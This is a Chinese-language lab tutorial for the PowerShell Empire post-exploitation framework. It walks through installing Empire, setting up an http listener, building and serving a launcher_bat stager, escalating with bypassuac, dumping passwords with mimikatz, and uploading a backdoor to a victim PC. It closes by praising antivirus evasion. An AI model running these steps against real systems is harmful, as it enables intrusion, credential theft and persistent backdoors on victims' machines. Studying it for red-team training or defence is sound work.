0x01 简介
Empire是一个后渗透攻击框架。它是一个纯粹的PowerShell代理,具有加密安全通信和灵活架构的附加功能。Empire具有在不需要PowerShell.exe的情况下执行PowerShell代理的方法。它可以迅速采用可后期利用的模块,涵盖范围广泛,从键盘记录器到mimikatz等。这个框架是PowerShell
Empire和Python Empire项目的组合; 这使得它用户友好和方便。PowerShell Empire于2015年问世,Python
Empire于2016年问世。它类似于Metasploit和Meterpreter。但由于它是命令和控制工具,它允许您更有效地控制PC。  
PowerShell提供了丰富的攻击性优势,进一步包括.NET的全部访问,applock白名单以及对Win32的直接访问。它还在内存中构建恶意二进制文件。它提供C2功能,允许您在第一阶段之后植入第二阶段。它也可以用于横向移动。它与其他框架相比发展迅速,且非常方便。此外,由于它不需要PowerShell.exe,它可以让您绕过反病毒。因此,最好使用PowerShell
Empire。   0x02 功能 listenter:监听器是一个从我们正在攻击的机器上侦听连接的进程。这有助于Empire将战利品发回攻击者的计算机。
Stager: stager是一段代码,允许我们的恶意代码通过受感染主机上的代理运行。 proxy:代理是一种程序,用于维护计算机与受感染主机之间的连接。
module:执行我们的恶意命令,这些命令可以收集凭据并升级我们的权限。   0x03 安装 使用以下命令下载它: git clone
https://github.com/EmpireProject/Empire.git
<https://github.com/EmpireProject/Empire.git> 下载完成并完成后,请按照下面给出的步骤进行安装: cd
Empire/ cd setup/ ./install.sh 安装完成后,移回Empire目录并使用./empire运行empire  
现在使用help命令,因为它打开了最初所需的所有基本选项。 (Empire) > help   Commands ======== agents Jump
to the Agents menu. # 跳转到代理菜单 creds Add/display credentials to/from the
database. # 从数据库中添加/显示凭据 exit Exit Empire help Displays the help menu. interact
Interact with a particular agent. # 与特定的代理交互 list Lists active agents or
listeners. # 列出活动代理或侦听器 listeners Interact with active listeners. # 与活跃的会话互动
load Loads Empire modules from a non-standard folder. # 从非标准文件夹加载Empire模块
plugin Load a plugin file to extend Empire. # 加载插件文件以扩展Empire plugins List all
available and active plugins. # 列出所有可用的和活动的插件 preobfuscate Preobfuscate
PowerShell module_source files # 预混淆PowerShell模块源文件 reload Reload one (or all)
Empire modules. # 重新加载一个或多个Empire模块 report Produce report CSV and log files:
sessions.csv, credentials.csv, master.log # 生成CSV报告和日志文件 reset Reset a global
option (e.g. IP whitelists). # 重置一个全局的选项 resource Read and execute a list of
Empire commands from a file. # 从文件中读取并执行Empire命令列表 searchmodule Search Empire
module names/descriptions. # 搜索帝国模块名称/描述 set Set a global option (e.g. IP
whitelists). # 设置全局选项 show Show a global option (e.g. IP whitelists). # 显示全局选项
usemodule Use an Empire module. # 使用一个Empire模块 usestager Use an Empire stager.
# 使用一个Empire代码段   根据工作流程,首先,我们必须在本地机器上创建一个监听器。 listeners 查看活动的侦听器  
进入监听器界面输入以下命令查看所有可用的侦听器 (Empire: listeners) > uselistener <tab> <tab> dbx
http_com http_hop meterpreter redirector http http_foreign http_mapi onedrive  
最流行和最常用的侦听器是http uselistener http
此命令在本地端口80上创建一个侦听器。如果端口80已经被像Apache这样的服务占用,请确保停止该服务,因为此侦听器是http侦听器只能在端口80上工作。  
查看侦听器下可以使用的命令 (Empire: listeners) > <tab><tab> agents delete enable info list
resource back disable exit kill listeners uselistener creds edit help launcher
main usestager   如果要删除一个活跃的listener,使用kill命令 (Empire: listeners) > kill http
[!] Killing listener 'http'   现在要查看所有你应该在这个监听器类型中提供的选项: info  
正如上图所示,你可以使用各种设置来修改或自定义侦听器。我们可以尝试更改我们的监听器的名称,这样有助于记住所有被激活的监听器; set Name test
上面的命令会将侦听器的名称从http更改为test。 通常,此侦听器会自动占用本地主机IP,但为了以防万一,你可以使用以下命令设置IP: set Host
192.168.88.152 execute 上面的命令将执行监听器。然后返回并使用PowerShell侦听器
现在输入'back'以从监听器接口返回,以便我们可以执行我们的模块。使用以下命令查看Empire提供的所有模块: (Empire:
listeners/http) > back (Empire: listeners) > usestager <tab> <tab>
正如图中所示,Windows和IOS都有很多模块,还有一些可以在任何平台上使用的多模块。以下实验,我们将使用launcher_bat创建恶意软件并利用受害者的PC。
usestager windows/launcher_bat  
然后再次键入“info”以查看漏洞利用所需的所有设置。经过检查,发现我们只需要提供listener。 set Listener test execute
在设置侦听器测试并创建/tmp/launcher.bat之后,上述两个命令将执行我们的漏洞利用。使用python服务器在受害者的PC中执行此文件。
python -m SimpleHTTPServer 8080   当文件将执行时,您将有一个会话。要检查您的会话类型: agents
使用上面的命令,您可以看到已激活会话。您可以更改会话的名称,因为默认情况下给出的名称非常复杂且难以记住。为此,请键入: rename P4BNYW6D pc01
使用以下命令访问会话: interact pc01 获得对会话的访问权限后,请尝试使用以下命令获取管理会话: bypassuac http
执行bypassuac命令后,将打开另一个会话。键入以下内容重命名该会话: rename HE3K45LN admin01 interact with
admin01 now. interact admin01 <tab>
<tab>帮助我们查看shell中的所有选项。有几种选择对后期开发很有帮助。如信息,工作,列表等,如图所示。 信息:
所有基本细节,如IP,随机数,抖动,完整性等。 现在,如果使用'help'命令,您将能够看到所有可执行命令。 让我们尝试运行 mimikatz
来获取用户的密码。由于 mimikatz 不能在普通的guest用户shell上运行,并且只能在admin shell上运行;
这也证明我们必须实现管理员访问权限,以便我们可以使用mimikatz。 Hmmmm!用户的密码为“123456”。 creds
上面的命令也会在明文及其哈希中转储任何用户的凭据或密码。 另一个重要的命令是 shell 命令。 要使用受害者的shell运行正确的Microsoft
Windows命令,我们使用此功能。 例如:一个这样的窗口的cmd only命令是 netstat shell netstat -ano
正如预期的那样,上面的命令向我们展示了机器上当前工作的所有端口! 现在,因为windows中的默认shell目录是“ C:/ windows /
system32 ”; 让我们尝试移动到另一个目录并尝试从那里下载一些文件,我们也可以在该位置上传一些内容,例如,我们可以上传后门!现在,使用以下命令:
shell cd C:\Users\lihui03\Desktop shell dir download msf.pdf  
上面的命令将从窗口的桌面下载一个名为msf.pdf的图像到“帝国的下载目录”
在这里我们可以上传任何后门,在上面的命令的帮助下,我们从Kali的桌面上传一个后门到受害者的桌面,我们甚至可以调用这个文件,因为我们有shell访问权限!
upload /root/shell.hta 这是下载文件的位置: 查看上传的文件 上面的命令证明我们确实已经上传了shell.hta
之前展示的是基本演示及其使用的不同术语以及如何使用它们。还有另一个术语,即usemodule。最后,让我们看看如何使用它。
该命令将显示所有可用模块并可供使用,如下图所示: 以下是如何使用usemodule的小型演示。类型: usemodule trollsploit/message
set MsgText you have been hacked execute y 使用上述模块将在受害者的PC上显示一条消息,如下图所示:
目标机器上是这样的!!! 结论 恶意软件以.exe / dll /
hta等形式允许攻击者构建任何理想的攻击,因为此框架可以访问Win32。虽然反病毒公司日益知晓,但这些公司仍然有效。由于其广泛,真实和有效的后漏洞收集,它是一个伟大的工具。最终,目标是在攻击中未被发现并成功,这个工具允许我们这样做。